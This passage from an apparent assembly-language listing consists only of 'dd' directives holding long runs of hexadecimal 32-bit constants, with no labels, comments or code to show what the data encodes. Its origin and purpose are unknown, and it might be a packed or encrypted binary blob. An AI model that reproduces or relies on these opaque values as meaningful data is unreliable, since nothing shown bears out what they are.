0CF60000Ch, 0A6D23A34h, 42AEB80h, 7D0AB4C8h dd 90FB7E11h, 15AB0380h, 484FFA78h, 1A07F002h, 29AC8262h dd 0F5C61C00h, 2354F1D0h, 0F42108ECh, 7160299Ch, 0C01871h dd 376BFC1Ah, 1909E0C6h, 9307E275h, 7A7A065h, 98650F87h dd 4B32C820h, 2B0C00DEh, 9D6B047Ah, 0C55859E8h, 3624C49h dd 7DCA6D4Fh, 0AC894BE7h, 0ADAC005Ch, 65898378h, 609C7421h dd 31A72112h, 0AD1F82BFh, 0BCA8C8E7h, 26D4F1E5h, 22570284h dd 3158841Ch, 0B8211008h, 0D3BE0E23h, 9CA9FA6Fh, 4CA8D498h dd 0C061B680h, 0F34FEEF9h, 1703D1DAh, 18CFAA0Ch, 127809E3h dd 0F68C782Ch, 4E002640h, 66E05408h, 831B58h, 2F4AFDF7h dd 6165B7B2h, 2A0774F2h, 0AA09233Dh, 0A3804F6h, 8162A8FEh dd 57813CD0h, 639AD8CCh, 5040E20Ah, 4866837h, 6F9ADDFh dd 2490CEEBh, 0D50050AFh, 51D2FC9Ch, 0FE80191Eh, 190B4897h dd 15C5A420h, 24414B06h, 53009122h, 889EADEBh, 18EFF73h dd 0C128C8B8h, 50206209h, 0E1D04298h, 84788A58h, 45310843h dd 7AB60160h, 0A186A450h, 0E2E101C9h, 3F903DEEh, 1F942024h dd 4A12AD09h, 0E8D00046h, 0D6861Ah, 15B5FF49h, 986F6CDDh dd 7D690084h, 1E9F560Ch, 9600044Ch, 9B2C2008h, 0F80D4DA9h dd 371200DDh, 0E906C8EAh, 0F302E004h, 0E2672229h, 2C384042h dd 1802867Eh, 8AC56BEh, 101A199Ch, 0BE73A5h, 8890DCAAh dd 815AEBE3h, 0C0B1B6EAh, 96DC100h, 307CE8Ah, 0D708AFFAh dd 1FC883AAh, 7F02F99Ch, 0E02FAC8Dh, 72404858h, 0D73409C0h dd 0C839CCCBh, 1FF618BCh, 0ACCBDAD0h, 2F2270FCh, 304CD107h dd 46B9905h, 94886688h, 0E68F00C4h, 0A1DF404Bh, 0F6000436h dd 63BF8008h, 5A0E2F2h, 0EC6C05E7h, 88248E7Ah, 0BDDFC01Dh dd 8A48ACB2h, 8C1CF8E4h, 3AF0EC03h, 9820A509h, 606E4Eh dd 64CC16F2h, 0ACE6C8D0h, 0E29CE712h, 364DB807h, 1899A6B4h dd 6256C0D2h, 1DA09289h, 0C15A1555h, 8B81003h, 65002450h dd 0E74D1110h, 2054DD29h, 0AC5B14F0h, 11885410h, 0BF0AB880h dd 88E3BBh, 60C7982Fh, 0F99F3321h, 808EA824h, 7D21B0A8h dd 0ADD9806Fh, 40BB06FFh, 21E32086h, 0C6D14531h, 0F820646Ch dd 3579224Ch, 90714899h, 0B2072C18h, 3B244BB4h, 8C044F55h dd 14975CCDh, 0E3B63A81h, 1C774760h, 1A3FD9Ah, 343E4B14h dd 9C10307Dh, 314F6230h, 26E4D0Dh, 5AEB26Fh, 38E0B546h dd 0B8B2EA62h, 7369E007h, 0E7B2C1A6h, 0E210EDE5h, 0E077D5DEh dd 6064B9F8h, 6ADD18Ah, 1500FA14h, 63B7CD6Fh, 824304Ah dd 6CEBB3F2h, 7D016D01h, 72057A3h, 0C4DE00E7h, 9B27B1A0h dd 0B317AC4Fh, 90016EB2h, 60E2F042h, 593C70h, 17467D15h dd 1036DD65h, 1265AB58h, 1001E3DEh, 4D6F27CBh, 6A21033h dd 97D30h, 0FD97DA02h, 0EB94CEA0h, 2F06E58h, 4588D369h dd 0E5F08020h, 164A3E2Eh, 5C9FFA06h, 984071Ch, 0A400DBC8h dd 1588604Eh, 0D681049h, 29FB33FAh, 0DFABD441h, 707087F9h dd 23894B6Fh, 70016054h, 0F7867D55h, 0A88520AAh, 470FE12Fh dd 0FC1E629Ch, 86E04E31h, 28B88474h, 0B4882DF2h, 0E82A0E5Fh dd 0A220A97Eh, 81013D39h, 8C4E7117h, 0FF1F3007h, 1161AC66h dd 6EBC6h, 0E7DBB08Fh, 7C84465h, 4A97573Bh, 0A981863Dh dd 31BD38h, 0A2428A7Ch, 22355E8h, 41563CACh, 51ED4Eh, 9E4C9608h dd 1F6170E8h, 480392F9h, 3D0479A6h, 6CD7E2EAh, 23AC045Ch dd 62708473h, 551A203Fh, 4300CB22h, 4DE08616h, 0C277138h dd 49CD88EAh, 3003371h, 4E47C828h, 57CED2h, 99E53B96h dd 0E7A1B23Eh, 9CA7A326h, 2A9802F6h, 4FF5D3B3h, 6421E451h dd 3D181D51h, 0AF7DB404h, 0E0B0F0DFh, 460B1324h, 43000159h dd 89EE0CF4h, 48163218h, 4D6D4C80h, 1C8080C8h, 68AC5ABEh dd 0B91D448Ch, 62BF3700h, 8675BAFAh, 311C73C4h, 0DC51DA11h dd 2C56D5CBh, 0F21E09FCh, 9D1489A2h, 80749168h, 198488E8h dd 60646046h, 7130ADEh, 0D5948B54h, 2256048Ch, 62408405h dd 0BF3C200Ah, 460E0723h, 467D6226h, 3091290Bh, 0A2794BCDh dd 74E2C248h, 92555709h, 4EF0609Dh, 0BECC05AAh, 32A3CF7h dd 211262A4h, 98654101h, 5AD52C81h, 3EAA8060h, 0CC4840DFh dd 16D7E700h, 0FF4A8CAh, 3411E4B9h, 10ADD080h, 41434307h dd 46009722h, 89D4ADE8h, 55C4433h, 88CA8EAFh, 0BC389069h dd 54303FABh, 0C4F49827h, 0BCEE5578h, 802CB809h, 18C4BBCh dd 0BC26FA8h, 30059792h, 0E502ED3Ch, 0E34E2125h, 981C4974h dd 47C79CAh, 12E20188h, 10E37009h, 0A9FC64B8h, 0DEDCA498h dd 48600BBh, 171F1103h, 0B500E8C2h, 0B2F19B33h, 3E044BFh dd 0D0AA8152h, 50021435h, 0F01C2412h, 0D8F4C0BAh, 82A8A8DFh dd 62A334F1h, 858C0A0h, 86061ABEh, 87E804F4h, 6224A081h dd 0EBEE8071h, 82195360h, 3D80B6E6h, 0CD01E1A6h, 0B786E7E5h dd 5431EC7Ch, 4AB3FC0Fh, 0C08C69F8h, 0ABED118h, 306A32F9h dd 2F4C97A8h, 2292378h, 0CFF95647h, 9479C851h, 39018A18h dd 8C406E2h, 0A083D201h, 83E349DAh, 97032903h, 0C0385FCCh dd 0C4862BE1h, 0CC9C4718h, 870CD4A8h, 1175CC4Eh, 14761Bh dd 0ACD0E746h, 2C5D53DBh, 0CEE47A09h, 627481A6h, 8041DD6Ch dd 84F18CC8h, 277440EEh, 0ED941001h, 4858B70h, 86414E38h dd 4042BA01h, 0D41A9EC0h, 1CEAFA13h, 5EBFBC00h, 45798BD7h dd 0CDE4617Bh, 0E2EC035Bh, 0F1E479FAh, 7DBF1871h, 1B54F75h dd 1FA192A8h, 0BB182009h, 2E21E0A4h, 0BE1A817Eh, 1818AC58h dd 7DA38828h, 0FB74BE00h, 0C2118444h, 0C6D8C74Dh, 100C57DCh dd 250917C4h, 234C3258h, 23AD01DEh, 3348841Ah, 802789E8h dd 0B8E20D64h, 0CDD72ABFh, 0C5E701BCh, 6788FE2Dh, 101029D8h dd 0DEC06836h, 330712ADh, 0C0CE1C91h, 3A87ADD6h, 9FA60E0Ch dd 660CCD0h, 2DE42EC5h, 0E8208641h, 55F40BEh, 9DD0CA08h dd 78C004E7h, 11604BEEh, 821440C8h, 5830D3C8h, 841F1122h dd 803B8850h dd 9323A13Eh, 291ECD7Dh, 8A4A2FAEh, 0E20DA857h, 0F8028164h dd 0D0F930BFh, 13CBDF08h, 4045642Ah, 6ED11227h, 9BBA0651h dd 715AEBDAh, 73FD400h, 8FFA671Ch, 91AD27E0h, 0F20AFC80h dd 8905017h, 0F186E812h, 6E4DF000h, 155BA38h, 0B83FBBFDh dd 0C025D1E4h, 2D16D43Eh, 441D6EF5h, 6C9D967Fh, 5323DC3Ah dd 3184AE01h, 0C86260B6h, 755E7860h, 0AA09E572h, 18A743Fh dd 0EA1986B0h, 0FE8CA5D2h, 2A98288Ch, 2E8048ACh, 409CE74Eh dd 63FBA02Ah, 101CD8D4h, 2E922825h, 5962338h, 88CD8DD6h dd 2501A9D0h, 73C984CCh, 0BC346443h, 0E14E2868h, 99C1540h dd 7770ACE0h, 5CC07D86h, 11EC3CC6h, 5DF4ED8Ch, 42AF3DB0h dd 9B020584h, 961CC2FBh, 7B4E4C87h, 913070C8h, 8471C01h dd 0E6D703B5h, 45E3BC66h, 21B598C0h, 1B5ED801h, 0CCE217D9h dd 0E863FBDDh, 0EC3090F2h, 31FC006Fh, 0A1FAF369h, 0AC025570h dd 0F19E8360h, 0C5B8D8BFh, 2C53068h, 0B4AAF3DCh, 4026D040h dd 842CDE81h, 23A24780h, 0F879C656h, 913A900h, 0B7055FA4h dd 5E12750Ch, 0E814480Ah, 70225BC0h, 22784684h, 0BC2D0134h dd 0EA980523h, 454FC1Eh, 6E379218h, 0CF670A0h, 9E2BA8CCh dd 630ED410h, 32FE2704h, 0FAC6C08h, 6C60142Eh, 5E2B03FAh dd 0B3014CB8h, 867DD1E0h, 0C7CF9C4h, 6203F3C4h, 0FE1C9910h dd 3840E605h, 6E3E461Ah, 44185627h, 0D017D110h, 0C88BEBCBh dd 0C0C9241Fh, 81C1AADEh, 7E073ED7h, 144DFA55h, 901ED973h dd 18BACB7Fh, 59207D5Ah, 0A700EF46h, 88DF5913h, 7C8C51h dd 0EA5C5BFCh, 35B47A2Fh, 907DFD0Eh, 0DE4320CAh, 9ADA7F5h dd 8C74F7ABh, 9DA1EC01h, 0A274332Eh, 0A32C3058h, 0DB018CE6h dd 9A084033h, 0C440559Fh, 1FCBFC1Bh, 55C7E39h, 406EEA27h dd 0D19A51E8h, 0C63C5267h, 0B3D20012h, 1A39928Ch, 26403C78h dd 8F4E5C0Bh, 0A0544CC8h, 0A43FE712h, 68CB74C4h, 97C153C8h dd 5CA70984h, 52174804h, 5F011C00h, 309863D5h, 6F195462h dd 82AC87Ch, 84B4FC40h, 0DE518F6Fh, 80808512h, 18A3B904h dd 0B03680C2h, 0A8A18E89h, 0E8C9C7E7h, 5888388Ah, 5163372Ah dd 0B4A1F1B6h, 9214C038h, 0D51D39B5h, 43993665h, 9068A118h dd 0ACCF328Fh, 1943405h, 1209E0E0h, 6EC824BDh, 0F802877Eh dd 616330Bh, 0A2D8685Ah, 0E46509BCh, 345B54EAh, 6C4C79E0h dd 184401B8h, 40E71311h, 0F170F104h, 83EAD803h, 0E1EB0100h dd 4A2C2321h, 600800EDh, 0B00E354Bh, 310E43F2h, 1D185FE8h dd 0C54E858Bh, 6045E4F0h, 22C65E6h, 0E0C8E4AFh, 0B8A21FFDh dd 0B0456C27h, 0A06074E4h, 2C91648Fh, 8E805A1Fh, 3808D3C3h dd 0CB7B1F17h, 0EA19DCC2h, 0DF634A9Ch, 88582148h, 0A05FB0Dh dd 0BCF1C062h, 23202820h, 94620EF1h, 702008DEh, 0F430197h dd 94DFA309h, 0E5C1BC91h, 0DAC8605Ah, 73685F00h, 0ABDF600Dh dd 257D1413h, 4B22BCB4h, 321F2903h, 9864E915h, 1C596B5h dd 861ADE5Bh, 708CAAF6h, 6D406A80h, 28119538h, 0A23463DDh dd 30DD3191h, 341D4CBCh, 0F344273Ch, 80A1919Eh, 11C14C7Ch dd 2BD90F0Eh, 30D43441h, 57F51498h, 0AC2C1CEDh, 1EECF52Ah dd 0C2749538h, 0CD84870Ch, 0AC018DAh, 0E55F823Eh, 542802DAh dd 6970D324h, 6F301064h, 2F22A193h, 0B56A0BE4h, 88CB95F9h dd 9DDE0A00h, 0B470855h, 2EDDF8ADh, 745CFF1Eh, 6C009746h dd 13F586C5h, 0CA090D05h, 51129E70h, 105B6980h, 1862C50h dd 43EAE689h, 60620B1Ah, 28A5474Fh, 0F6276E4h, 1B476BC0h dd 595DE002h, 63AA4E06h, 3330E138h, 4B78E03Ch, 23582E4Fh dd 0AACA0112h, 309DD8CFh, 895DE95Ch, 2E2BCC4h, 5FFD961Ah dd 3860047Dh, 0A814CB95h, 7DAC42B2h, 0D799C10Eh, 866C20D1h dd 0CA1BDEh, 0E3DF4EBCh, 9D812963h, 0D38F4200h, 0DED5FC73h dd 55E23A5Bh, 6490192Dh, 8DF7061h, 2739D700h, 28DB6h, 0F3AB8262h dd 12DEADF9h, 711A4D64h, 70602CB9h, 9C474CAAh, 0C966AD25h dd 2FD9AC1Ch, 3701C9BAh, 0F1AD2328h, 0DAD6CC53h, 9072012Dh dd 245CC64h, 7A18FC3Dh, 28E2DC34h, 9A78ECD9h, 8902862Eh dd 93E21E68h, 95EC81C6h, 403CECA7h, 9C0AA880h, 7F0E90FFh dd 4070D8C5h, 0A3154DECh, 14D474E5h, 0FCAF0531h, 3D486E5Bh dd 5C528068h, 0D8F4E4C5h, 98249020h, 384704C8h, 0A94C93CAh dd 722AC84h, 0A1C87F61h, 91E3606Ch, 5834E4ABh, 0A48249C1h dd 0FB684041h, 0EDA71FE2h, 98BE68ADh, 0C58E05A4h, 561E8FCh dd 3AA9D284h, 0ED23B0h, 227DD5C9h, 3B4CCDF4h, 0E10CD698h dd 0D0B1E6h, 0D411BA15h, 0FDA8726Ch, 40E86627h, 2555F480h dd 8C8CF2Eh, 61DE9564h, 36DEE580h, 57E1C2h, 6274C37Dh dd 0E3ED6129h, 9107E237h, 69F8D6h, 52A5B971h, 0C1EE2E9Fh dd 9C90F3B8h, 86185702h, 4862B684h, 13223648h, 0F0531CECh dd 0FB012B49h, 60C46181h, 5180E47Dh, 0FD886316h, 134E3910h dd 4CDF0088h, 92A819h, 0CECA18D8h, 7220759Fh, 260409F4h dd 0B8E0C63Bh, 0D359D7BFh, 28C05A4h, 6CCABC9Ah, 0F2160406h dd 9C0B3147h, 2875628Ch, 0B412DC44h, 208B1C52h, 38C036C8h dd 0BA3D2B0h, 10C50D12h, 2A89E88Eh, 0A1821880h, 0C4986DDBh dd 7135ECB0h, 0B86F1846h, 254AD700h, 20BCB28Eh, 8957CE30h dd 0B6E50462h, 88C4B9F8h, 5B7F1209h, 13044689h, 958B49D3h dd 70EF8764h, 153A34DEh, 0CC884507h, 4240E03Fh, 16C05BFFh dd 67602B73h, 0AE706128h, 0F298742Ch, 4A87A73Eh, 9826460h dd 183B62D4h, 0E87997FEh, 2D18ED79h, 28A42104h, 30C0500Ah dd 18BC2C79h, 299E6472h, 40395A3h, 34E98BD2h, 4106E0F1h dd 0AC5F0587h, 84B55CE7h, 42CCCC08h, 0E15DAD00h, 0D41AACF5h dd 1BF12BABh, 0B017A590h, 7E855C91h, 7DC90040h, 8FCB16C5h dd 19883C09h, 0ABA0411Eh, 0C09504CCh, 9F08EF90h, 500BBB9h dd 515F418Bh, 97942146h, 0F453943Ah, 6E0C50h, 41AFEF3Fh dd 91AAF3B2h, 1677A502h, 0C60A4E14h, 2945EE4h, 3D38F7E8h dd 72119C64h, 0CA4ACF63h, 0C006C820h, 0A6DB3275h, 3C2F630Ah dd 4D87C0A8h, 0B4EA1436h, 6B16A7C4h, 14FA004Ch, 13648B52h dd 8240B71h, 0F8B83F1Ch, 5306DAA4h, 1F6C55D6h, 0F6779061h dd 0DBE10234h, 0E8759CEAh, 21801856h, 9B785070h, 0BFCF2C61h dd 0A808AEC0h, 0E7040164h, 0DC8BFD13h, 5032AAh, 0E3D9C2A8h dd 3A3911CDh, 0E0D52303h, 23283B3Bh, 90C5015Ch, 0CCBEADABh dd 223EDE09h, 0FC0BAC6Eh, 86506C24h, 44562139h, 2D6FC00h dd 80876DA0h, 0EF38968h, 0D0C050C8h, 34B2AE8h, 2C38CAB5h dd 90C1564Ah, 9487C37h, 0A5E1D8BBh, 0DCCE4068h, 31C70688h dd 0B7A8840h, 3B20B1CFh, 3DA51B87h, 0BA116146h, 97A7CCD7h dd 7DFB9008h, 3D218012h, 78D32BC6h, 7453DF00h, 220F2AE7h dd 6CEB4801h, 80C7D715h, 36ACF400h, 3E925B64h, 47243F02h dd 60FCA933h, 73931474h, 5E6C94D7h, 650E4546h, 0D924DC48h dd 2A2888EBh, 1252CE06h, 9786F732h, 0F9A5EC90h, 8B68E300h dd 9BA9C666h, 0B5C8000Dh, 852396FCh, 4850FE01h, 0F94ED0E8h dd 2F3A98C9h, 7942390h, 701342C4h, 4B464847h, 1A198609h dd 1241657h, 49CBECDh, 62AECA1Eh, 41F5798Ch, 20F3DDA0h dd 0AF4BC212h, 9F1ADC30h, 7759A9h, 0F84B1500h, 0CB86A6ECh dd 83516400h, 0EFE63B7Eh, 0FADA98F3h, 0D8BE58CCh, 88E2D2h dd 27723B7Ch dd 2CF11810h, 2548D19h, 0CFDEF4AAh, 48D12CCAh, 0B71896D9h dd 0AFCCDB25h, 42C7E048h, 2FAB58h, 38FB8217h, 3B1DE09Ah dd 0F6610B02h, 4051CCC6h, 86C95508h, 0D9D0FF09h, 510409CBh dd 0C72D442Ch, 0FB2420D0h, 80F8A19Eh, 0A13BFCB1h, 4452D42h dd 0D660ED64h, 2C1C1D64h, 91F07DE7h, 547A02h, 875030DAh dd 0FFBC5C76h, 0A4F2F813h, 2BCCE4D1h, 203A8C74h, 0F0004666h dd 0D4582797h, 312C8B1Ah, 0C6C1BDC9h, 45D9C077h, 3E3A0D7Ch dd 60B0099h, 0CDA7CAC0h, 491701E4h, 0C7BD131Bh, 98A880DFh dd 0C5099CF7h, 0D0E10B2Eh, 98E721EFh, 7681F14Eh, 0F8D7240Fh dd 571D921Fh, 0A904634Ch, 38CA3603h, 0C4655827h, 18601BE4h dd 0D01F34F8h, 0ED01C182h, 8D979207h, 240D6081h, 68901A0Bh dd 0FE15006Ch, 0D42E1C80h, 45F8D0h, 41FB6F29h, 0BD1BE63Ch dd 0AA064709h, 3008F893h, 67D1ED4Eh, 420B04FAh, 537699E0h dd 18747948h, 4D8B04D0h, 60569537h, 4E14CFADh, 0F7A04024h dd 45C4FE75h, 9155E831h, 17F8A049h, 0F6AB0001h, 0E6429B3Bh dd 60583DEh, 917CE796h, 3B88148Fh, 0F08BAC0h, 0BD1000D8h dd 4E3631FDh, 6501506Eh, 0D06207B4h, 90415E26h, 8014898Bh dd 0E602BB08h, 34DFAA38h, 7CB8C026h, 0F8C36BCh, 5171D13Ah dd 510DB8C7h, 3B2DD890h, 59AC4409h, 18297980h, 0CBC605E4h dd 0B4119EA8h, 3674F5C4h, 523BF214h, 8CA3CE4h, 82746798h dd 0C9DB860Dh, 0B280385Ch, 168B87B6h, 27CA00D4h, 0D50D1E01h dd 97278603h, 8174B54Ch, 88A8417Ah, 0D586DA9h, 9057B7FAh dd 9C2D8EC0h, 11465EA4h, 8A925200h, 44EE0514h, 34D8130Eh dd 38A4724Eh, 0C8810436h, 0A88FDDD0h, 8C90ECB4h, 0B23EB902h dd 71CC86F2h, 0E01A8968h, 0ED91EC97h, 6BEB6580h, 0FD000D43h dd 0D71CFAF4h, 696336D1h, 0D458B90Bh, 826211E9h, 0ED80E868h dd 8B86DAD0h, 6901A37Fh, 44C623Ah, 5CA6F9BDh, 0DBED0260h dd 0DC6D4079h, 0B6CC2E0h, 0A0405D8h, 0ADF7C3F2h, 7992C184h dd 47D299Ch, 0E080B6D2h, 1D87693h, 45E729D3h, 0CD167C42h dd 0B668305Ch, 40A4AF95h, 0E82C3258h, 38A30028h, 9629500Dh dd 4944E0CBh, 47C94A57h, 0D07D614Ch, 40484BC1h, 9373C800h dd 0D8AD3F94h, 585276F9h, 0CF0798C5h, 0E962064Fh, 0FCBCCC58h dd 5C465Eh, 0D2CC4BB5h, 1FE3B6B8h, 53455A8Dh, 88988BE0h dd 6692C299h, 650398C4h, 713773C2h, 7E81B536h, 0A8D37718h dd 0B4848629h, 1D465E14h, 19D4007Ch, 1B37EA07h, 0AA12DF86h dd 0A8C68CF7h, 5AA4B058h, 72EC8740h, 0F85E39h, 7C50CD18h dd 2F88C8F8h, 0EC4883C1h, 4700D53Bh, 0DC4013FBh, 1317146Ah dd 0B1FEAACCh, 0D12C30D8h, 25A81944h, 389D05A7h, 0C4847491h dd 0B6D8C021h, 1E1A3797h, 1D80089Ah, 827691E0h, 51DB65BCh dd 0BD07BFE8h, 6E727679h, 1C2549A0h, 5244707h, 613051E3h dd 2FF3FFh, 78CCF260h, 1D38446Fh, 0BBF1F4EDh, 0E0AB8300h dd 1EDE1157h, 565BF4h, 0C804C5C0h, 4F4E293Bh, 0CAC454DAh dd 0E474C41Dh, 9A2F0A88h, 7D2081E3h, 80696647h, 0C148C00h dd 3DAC7202h, 4205A606h, 39806Fh, 70AE62E6h, 2CFD4915h dd 9ABDDCECh, 0D45076A0h, 0CD779503h, 823C75BEh, 85D0C286h dd 0E4BDA8B4h, 82888C4Bh, 3497F110h, 58C64450h, 4DC1ECACh dd 73BAC808h, 18BC01A0h, 0C9F18D3Fh, 7E78413Ah, 6FC513E3h dd 0EA164430h, 2DC6000Dh, 0E9928539h, 0C202EF44h, 62BF28C4h dd 0DBB8900Ah, 7254011Dh, 3A51AD1h, 0CA039EAh, 5188E14Eh dd 3AFE05F3h, 0ECE7092Ch, 48C84FFCh, 0D7F10032h, 5E510CECh dd 0CB0030DAh, 0F0103A64h, 90237Eh, 0D2271D6h, 3D9575Ah dd 0FF96C49Ch, 94F228E2h, 1339630h, 0D9179530h, 2B325A73h dd 88E8C24h, 0FBC01288h, 48E83C8Ch, 6817F832h, 669CD91Eh dd 0DE5FE2FCh, 1146763Ch, 6A872A00h, 7EFEEFAAh, 794B2F01h dd 4765D8C8h, 97EC2C38h, 0FD30018Ch, 0F3A37E4h, 132C26A1h dd 820C940h, 1E10B9DEh, 80A3A00Fh, 0C7E08488h, 0B27CFD42h dd 0C299D602h, 7A94DEF0h, 24D77ADCh, 0B0CC034h, 0D80AE9ACh dd 0F9C2454h, 9D8304D5h, 61744EAAh, 0B2C23F5h, 0C88ADDFFh dd 2ABA25Ch, 0E708F989h, 68448F4Eh, 49D75502h, 0AE2A7D8Ch dd 0EE062794h, 0DACD10A0h, 1EDC2CCAh, 0A96A652Ch, 68D31334h dd 3B5EE603h, 0E0CEAD5Ch, 0C71CE39Eh, 7A70A54h, 2CEF7A68h dd 50933E52h, 3DFF0288h, 20883FACh, 7CCC480Ah, 0D6ED3E24h dd 0F200354Bh, 3028F274h, 2F48E7CDh, 3C74052Ch, 0B42ACCh dd 0E25F43C6h, 15323028h, 1A8D0B0Bh, 3DD058C2h, 8C5FB6AEh dd 622D7220h, 306401h, 0E00B7DD0h, 1548EFABh, 549B8A0Bh dd 0B5878DFh, 0E6320A5Ah, 1D7968D1h, 2C003318h, 0E0C9C882h dd 653A8C6Ch, 820599D6h, 0A8F479BCh, 0BC6A5B3Bh, 0AF005C23h dd 2B5DB80Eh, 84FF0968h, 80F0F196h, 2D73AE40h, 480528CCh dd 71C8864h, 0F1A8D802h, 0B27ECAD0h, 1E8C46ECh, 3A332306h dd 0EBD3F700h, 0E5B6E321h, 4F04A974h, 3CEFD7ACh, 6E92A0ACh dd 41D8055Ch, 848C864Eh, 2FB4BAAh, 2D8862DCh, 82480955h dd 7870E77Fh, 5EF496E0h, 683F1D46h, 131B3C80h, 0E4E5ED0Fh dd 5028FC35h, 0D72010B3h, 4656C09Ch, 37420058h, 4F88166Ch dd 0AACA0B89h, 0BCC857D7h, 0E512A112h, 98B47DB2h, 0DCCF00EBh dd 0FF3BCD68h, 3A26A39Ah, 1C011460h, 1F759D11h, 0C8D39CF1h dd 5BD95021h, 0E01C0119h, 6F1E9D46h, 5923002Fh, 65950A00h dd 5B8B35h, 0E3B18307h, 5F87C9Ah, 24302D5Eh, 971E6FCFh dd 7111C035h, 0D7CA4E87h, 78258961h, 0E078B651h, 14D0820h dd 0D41AD859h, 0D8F52250h, 70B4F9A9h, 21EE2176h, 29E67480h dd 691A57h, 9B7A9E6Ch, 9CEBEEAEh, 9CC8625Ah, 8DF920D0h dd 0C428D34Ch, 2EAAEA22h, 3F39238Ch, 0C6A200FCh, 4F3A27EEh dd 0F2FEA441h, 0E9311205h, 0F4455968h, 0D1809A61h, 5BF4A51Bh dd 23CC6BF1h, 94003FEDh, 0A69BDC7h, 824ADB92h, 0C041A09Dh dd 532A0B9Bh, 0D27000A0h, 3C621D8Fh, 4E183862h, 4A49084h dd 0D8CF09B4h, 0D0C7FDB0h, 1B21EE62h, 0FC81E288h, 0AEF9230Fh dd 0ABA040C2h, 0F57CD7E4h, 0E31424h, 465B9674h, 819BD0D2h dd 3BF3B500h, 37F6CAAAh, 3151F07h, 401C9EB1h, 0E0F59156h dd 58961AE5h, 75846DEh, 3A528BC1h, 0F6D49441h, 20B24D8h dd 721B5F04h, 8484BB3Fh, 0D06B34B4h, 62508C00h, 0D255706Ch dd 5B31F516h, 102660A0h, 8DF3F0h, 4290847Dh, 50DEA8CAh dd 0B4237046h, 477EF6F4h, 0A8271109h, 1E0025DFh, 7B0ECC81h dd 9AB5AC00h, 6782121Ah, 3644410h, 0CC94CA18h, 91CCC3A8h dd 30F47210h, 2640E4D8h, 0AA2F250Ch, 0E00B78C4h, 608C7C11h dd 97D2D24h, 6A3FA1Eh, 0E2A84821h, 743A0160h, 0C0B36981h dd 6FE69C66h, 0A74AB441h, 3FCDE279h, 0FE20ABE0h, 440CB081h dd 6E25F667h, 0C870A324h, 0A0E474FBh, 71A1580h, 50EB4CDFh dd 0B4C1E451h, 0C704FE1Ch, 638BF209h, 8AA070E7h, 66485CCEh dd 0ED809D60h, 9AA3202h, 2457FE7h, 0C2844C3Ah, 80817C2Ch dd 47D4BCh, 806A10E0h, 2A02720Dh, 0E4746D8Dh, 4CFEF0h dd 9524DD26h, 0E7008261h, 38104FFDh, 442C466h, 56A8CFCBh dd 0AAECE0FCh, 48443B0Eh, 10A2A0FBh, 12CE67B6h, 0E99BACA8h dd 0E679B870h, 7CAB0002h, 0D3AE1EDEh, 50091611h, 767B6471h dd 90CC9784h, 1860C5F0h dd 0B5004FF4h, 7D7876E7h, 3DB20FAFh, 0A481EA11h, 0ED2E47B7h dd 9F69857Ch, 84F2044Eh, 803074F2h, 0FF653009h, 528AA389h dd 9DE38101h, 78442EE0h, 747C90E3h, 59850313h, 0FEED4E19h dd 0EB6A312Fh, 0A11680D4h, 8AE6B9h, 269E05FBh, 0ADAFEEB0h dd 88A4644Bh, 936800EFh, 0FF3F0740h, 2A09F509h, 7A66A7CAh dd 1C4A008Ch, 6CB7A9D9h, 0BC0B374Dh, 92016271h, 24115584h dd 0BDD1F422h, 68740360h, 0FE658D91h, 9B941C89h, 0C52D70h dd 10DE9642h, 0C8807F3Bh, 212524D8h, 3D9A8408h, 2C6CBE70h dd 201C8A76h, 0F78C5070h, 0A6E3E866h, 42518AB0h, 0FC0BE82Ah dd 0B7FCDF00h, 0BED51EBFh, 2AF021Ch, 66478A97h, 9E039C5Ah dd 0DDAAD7D0h, 0B93ED8F8h, 0A097B503h, 4C805091h, 9D6C73AAh dd 0AED3C607h, 0A1643DADh, 0D1264E9h, 8BE8F894h, 902C48CCh dd 3C1F028Bh, 42E1C633h, 0DF4715E0h, 45E92304h, 0AC8EA3AAh dd 9CB5388h, 4C52E9h, 0BC991149h, 0A369E35h, 19C82D06h dd 90218966h, 4AE00EBCh, 706234A3h, 0E4D2714Eh, 5CF1FC26h dd 14B467Ch, 1270BF02h, 0F06F75B1h, 10753D7Dh, 2B43F301h dd 0C3FAC16h, 12624434h, 0EC6EBF08h, 8CEDE8F4h, 0BA8C910Fh dd 21E665FEh, 5A23582Eh, 4DBE8700h, 538BB2h, 0E7A18081h dd 7AEAD4DEh, 0FA08470Bh, 0CA80C0F3h, 21AD20D0h, 262723Bh dd 53A18258h, 38BCD2FAh, 0F34B41E5h, 5A05380Ch, 94A8A812h dd 0AE5969C0h, 4F7B210Eh, 0D46AFC1Ch, 60810D53h, 21F61E62h dd 6AA03FABh, 16321002h, 434583Ah, 1153DFA1h, 0B03ABBECh dd 8E003623h, 814FFADDh, 5326029Bh, 52CFCECAh, 71449C67h dd 70CAE067h, 90A08C5Eh, 0FB5EF20Ah, 0D8FE4880h, 182F6521h dd 3B4CB46Ah, 3A972500h, 8DD82940h, 646918B3h, 0E27D21B8h dd 0E3D129C3h, 0C252C2C0h, 40F4DC68h, 79C8D470h, 21A89600h dd 0DDBDB3BBh, 0DC893A27h, 281E497h, 4CDA1940h, 70E3D001h dd 8888AC31h, 9802E6D5h, 757D0878h, 3713EC3Dh, 0AD95A401h dd 22A84DFh, 6E11860Ch, 0D48BB468h, 3C1438FBh, 602197FCh dd 8C1770F4h, 0ADBE051Ch, 6525446Eh, 1CEE0004h, 0ACDAF6BEh dd 2CC47E01h, 8EFB433h, 0B4009944h, 7998764Ah, 9BA1D2DCh dd 0F5CA80B8h, 0A4177D94h, 276001C0h, 64B04AC4h, 2090F86Ch dd 14A54200h, 75DDC945h, 0F1880BF9h, 0FCA9F59Fh, 89923481h dd 0E34E01C6h, 8004C32h, 8B8E3E8Ch, 79C069CDh, 74AA721Bh dd 19D82EA6h, 20929FDCh, 0A06BE75Fh, 0F1827A03h, 9016F213h dd 24A459E8h, 8D018898h, 0AFB38200h, 0D242709h, 0E6DD779Bh dd 9AD815DFh, 545C6012h, 0E469CE85h, 990E46FCh, 0A4D784h dd 0CD1D3EEh, 95F30FBAh, 4EC1F27Eh, 20834B6Ch, 2749BCD4h dd 96311E0Ch, 426500E0h, 0F9BEFB32h, 0CA950184h, 0C0F884D8h dd 0F84D8CF0h, 5EEC9E5Ch, 7E5A46h, 0E24B8858h, 4126DB55h dd 0CEFC1B00h, 0C4DB5D3h, 5C7E002Ah, 626622C3h, 8C94D009h dd 9120972Dh, 0C9B8317h, 0BF07F9FEh, 0E5ED0721h, 0A905F7Eh dd 40D08664h, 76D3019Fh, 801A913Dh, 0F12D1F5h, 2F0C5E51h dd 0DCCDE6D0h, 48317E60h, 